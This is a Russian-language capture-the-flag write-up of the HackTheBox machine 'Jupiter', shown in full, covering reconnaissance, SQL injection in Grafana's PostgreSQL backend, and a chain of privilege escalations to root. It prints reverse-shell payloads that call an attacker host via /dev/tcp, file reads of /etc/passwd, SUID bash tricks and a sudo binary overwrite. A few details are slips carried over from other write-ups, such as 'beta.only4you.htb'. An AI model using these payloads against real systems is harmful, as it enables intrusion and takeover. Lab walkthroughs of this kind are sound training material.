Блог

Разбор HackTheBox — Jupiter (Medium)

Сложность:Medium
ОС:Linux
Баллы:30
IP:10.10.11.216
Теги:SQLi, PostrgeSQL, LPE, Jupyter RCE, Linux Privileges

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем дополнительный поддомен с возможностью внедрения SQLi. С помощью синтаксиса PostgreSQL и вследствие прав суперпользователя при взаимодействии с СУБД получим удалённый доступ от лица пользователя postrges. С помощью редактирования конфигурационных файлов утилиты /home/juno/.local/bin/shadow получим доступ к пользователю juno и добудем его флаг. Далее, получив доступ в Jupyter Notebook выполним код на Python, который позволит нам получить доступ на удалённой машине от пользователя jovian. После этого были обнаружены повышенные права на исполнение /usr/local/bin/sattrack, скопируем /bin/bash в него, запустим и в конечном счёте получим флаг пользователя root.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.216

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.216

PORT     STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_  256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

Добавим домен в /etc/hosts:

# HTB
10.10.11.216    jupiter.htb

Просканируем директории доступные на jupiter.htb:

gobuster dir -u http://jupiter.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Получим следующий результат:

/img                  (Status: 301) [Size: 178] [--> http://jupiter.htb/img/]
/css                  (Status: 301) [Size: 178] [--> http://jupiter.htb/css/]
/js                   (Status: 301) [Size: 178] [--> http://jupiter.htb/js/]
/fonts                (Status: 301) [Size: 178] [--> http://jupiter.htb/fonts/]
/Source               (Status: 301) [Size: 178] [--> http://jupiter.htb/Source/]
/sass                 (Status: 301) [Size: 178] [--> http://jupiter.htb/sass/]

Исследовав содержимое веб-сервиса придём к тому, что это некий сайт обсерватории.

Далее осуществим сканирование поддоменов доступных в сервисе на предмет полезного лута, для этого можем использовать любой другой сканер на ваше усмотрение:

ffuf -u http://jupiter.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST:FUZZ.jupiter.htb"  -mc all -fw 6

Получаем следующий результат сканирования:

[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 106ms]
    * FUZZ: kiosk

Добавим также поддомен beta в файл hosts и проведём разведку его содержимого:

# HTB
10.10.11.216    jupiter.htb    kiosk.jupiter.htb

Переходим к сервису beta.only4you.htb:

Исходя из названия поддомена и содержимого можно сделать вывод, что это интерактивный киоск для очных посетителей обсерватории. Также осуществим сканирование доступных директорий в этом поддомене киоска:

gobuster dir -u http://kiosk.jupiter.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Получаем следующий результат сканирования:

/login                (Status: 200) [Size: 34390]
/profile              (Status: 302) [Size: 29] [--> /login]
/signup               (Status: 200) [Size: 34390]
/public               (Status: 302) [Size: 31] [--> /public/]
/admin                (Status: 302) [Size: 24] [--> /]
/plugins              (Status: 302) [Size: 24] [--> /]
/live                 (Status: 302) [Size: 24] [--> /]
/org                  (Status: 302) [Size: 24] [--> /]
/logout               (Status: 302) [Size: 29] [--> /login]
/explore              (Status: 302) [Size: 24] [--> /]
/monitoring           (Status: 200) [Size: 34390]
/verify               (Status: 200) [Size: 34390]
/metrics              (Status: 200) [Size: 111261]
/configuration        (Status: 302) [Size: 24] [--> /]
/connections          (Status: 302) [Size: 24] [--> /]
/styleguide           (Status: 200) [Size: 34390]
/playlists            (Status: 200) [Size: 34390]
/alerting             (Status: 200) [Size: 34390]

Обратим внимание также на возможность авторизации на kiosk.jupiter.htb:

Внизу страницы можно заметить версию Grafana v9.5.2 (cfcea75916) — система мониторинга и визуализации данных.

RCE и получение удалённого доступа с помощью SQLi в PostgreSQL

В процессе анализа POST запросов, отправляемых на kiosk.jupiter.htb/api/ds/query было обнаружено, что в теле запроса используется конструкция на языке SQL:

Отправка запросов в таком виде является нормальной для сервисов, построенных на Grafana, но, только в тех случаях, когда пользователь авторизован. Мы же можем взаимодействовать с СУБД Postgres не авторизовавшись. Сохраним этот запрос и проведём атаку с помощью SQLMap:

sqlmap -r req.txt --dbs

Получили следующую информацию:

[12:15:07] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: PostgreSQL

[12:15:07] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

Поскольку мы знаем, что СУБД — PosrtgreSQL можно сформировать ряд запросов и собрать больше информации о целевой машине с помощью следующих запросов:

select version()
->PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, 64-bit
select current_user
->grafana_viewer
select datname FROM pg_database
->postgres, moon_namesdb, template1, template0
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
->true
CREATE TABLE test123(t TEXT); COPY test123 FROM '/etc/passwd'; SELECT * FROM test123;
->
"root:x:0:0:root:/root:/bin/bash",
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
"bin:x:2:2:bin:/bin:/usr/sbin/nologin",
"sys:x:3:3:sys:/dev:/usr/sbin/nologin",
"sync:x:4:65534:sync:/bin:/bin/sync",
"games:x:5:60:games:/usr/games:/usr/sbin/nologin",
"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin",
"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin",
"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin",
"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin",
"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin",
"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin",
"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin",
"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin",
"list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin",
"irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin",
"gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin",
"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
"_apt:x:100:65534::/nonexistent:/usr/sbin/nologin",
"systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin",
"systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin",
"messagebus:x:103:104::/nonexistent:/usr/sbin/nologin","systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin",
"pollinate:x:105:1::/var/cache/pollinate:/bin/false",
"sshd:x:106:65534::/run/sshd:/usr/sbin/nologin",
"syslog:x:107:113::/home/syslog:/usr/sbin/nologin",
"uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin",
"tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin",
"tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false",
"landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin",
"usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin",
"juno:x:1000:1000:juno:/home/juno:/bin/bash",
"lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false",
"fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin",
"postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash",
"grafana:x:115:121::/usr/share/grafana:/bin/false",
"jovian:x:1001:1002:,,,:/home/jovian:/bin/bash",
"_laurel:x:998:998::/var/log/laurel:/bin/false"

Проанализируем собранные данные: получена версия PostgreSQL, обнаружены таблицы базы данных, выяснено имя текущего пользователя и то, что он обладает правами суперпользователя, получен список локальных пользователей целевой машины: root, juno, jovian, postgres.

Воспользовавшись информацией о СУБД PostgreSQL и тем, что текущий пользователь является суперпользователем — мы можем создать таблицу, с помощью которой сможем исполнять команды на целевой машине, отправим в теле запроса к /api/ds/query следующий SQL запрос:

CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/yourIP/7331 0>&1\"'

Перед отправкой запроса с помощью nc -nvlp 7331 откроем порт для подключения и получим шелл от пользователя postgres:

Получение доступа к пользователю juno

Загрузим на целевую машину скрипт сбора информации LinPEAS и инструмент анализа процессов pspy64.

С помощью LinPEAS мы обнаружим, что от пользователя jovian запущена утилита jupiter-notebook:

jovian      1159  0.0  1.6  81344 66492 ?        S    Jun15   0:00 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb

Следующий вывод получим после запуска pspy64:

2023/06/15 12:48:01 CMD: UID=1000 PID=1842   | /bin/sh -c /home/juno/shadow-simulation.sh 
2023/06/15 12:48:01 CMD: UID=1000 PID=1843   | /bin/bash /home/juno/shadow-simulation.sh 
2023/06/15 12:48:01 CMD: UID=1000 PID=1845   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml                                                                               
2023/06/15 12:48:01 CMD: UID=1000 PID=1848   | 
2023/06/15 12:48:01 CMD: UID=1000 PID=1849   | lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/06/15 12:48:01 CMD: UID=1000 PID=1854   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml                                                                               
2023/06/15 12:48:01 CMD: UID=1000 PID=1855   | /usr/bin/curl -s server 
2023/06/15 12:48:01 CMD: UID=1000 PID=1857   | /usr/bin/curl -s server 
2023/06/15 12:48:01 CMD: UID=1000 PID=1859   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml                                                                               
2023/06/15 12:48:01 CMD: UID=1000 PID=1864   | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/

Как можем заметить — пользователь juno запускает shadow с параметром в виде файла /dev/shm/network-simulation.yml. Исследуем содержимое файла и посмотрим каким образом можно его использовать:

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

Текущий пользователь postgres обладает правами на запись в этот файл и мы моем модифицировать его следующим образом, чтобы сначала c помощью его последовательно скопировать бинарный файл /bin/bash, а затем присвоить ему привилегии SUID:

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/user
      start_time: 5s

После того, как в папку будет копирован бинарный файл — аналогичным образом редактируем SUID бит:

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/user
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: u+s /tmp/user
      start_time: 5s

Перейдём в этот шелл с помощью ./tmp/user -p, затем для стабильного подключения по ssh скопируем свой публичный ключ в папку /home/juno/.ssh/authorized_keys, в результате чего мы сможем подключаться со своим личным приватным ключом к целевой машине.

Горизонтальное движение, получение пользователя jovian

Ранее, в процессе сбора сведений о целевой машине, мы обнаружили, что пользователь jovian запускал сервис jupyter-notebook. По умолчанию этот сервис работает на порте 8888, проверим какие порты открыты на целевой машине с помощью netstat -tlpn:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Для удобства взаимодействия с jupyter проксируем порт 8888 на свою локальную машину: ssh juno@10.10.11.216 -i key -L 8888:127.0.0.1:8888

Вернувшись снова к ранее собранным данным подметим директорию, в которой хранится файл jupyter-notebook, а именно /opt/solar-flares/. Исследуя соседние папки — найдём папку logs. В ней содержатся логи запуска сервиса, откуда мы узнаем версию Jupyter и токен:

Воспользуемся этим токеном для авторизации в jupyter:

С помощью Jupyter мы можем выполнять код на языке Python. Создадим новое пространство и выполним следующий код:

import os; os.system(‘bash -c «bash -i >& /dev/tcp/yourIP/7771 0>&1″‘);

Получили доступ к локальной учётной записи jovian. Для удобства и на случай если возникнут проблемы с сетью — скопируем публичный ключ в папку /home/jovian/.ssh/authorized_keys, чтобы в дальнейшем по нему подключаться по ssh.

Получение доступа к root

Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root:

sudo -l

В таком случае мы можем скопировать /bin/bash в /usr/local/bin/sattrack:

cp /bin/bash /usr/local/bin/sattrack

После чего выполним скопированный бинарный файл: sudo /usr/local/bin/sattrack

Получили доступ к пользователю root и его флагу.

Ссылки:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767

https://github.com/arf20/arftracksat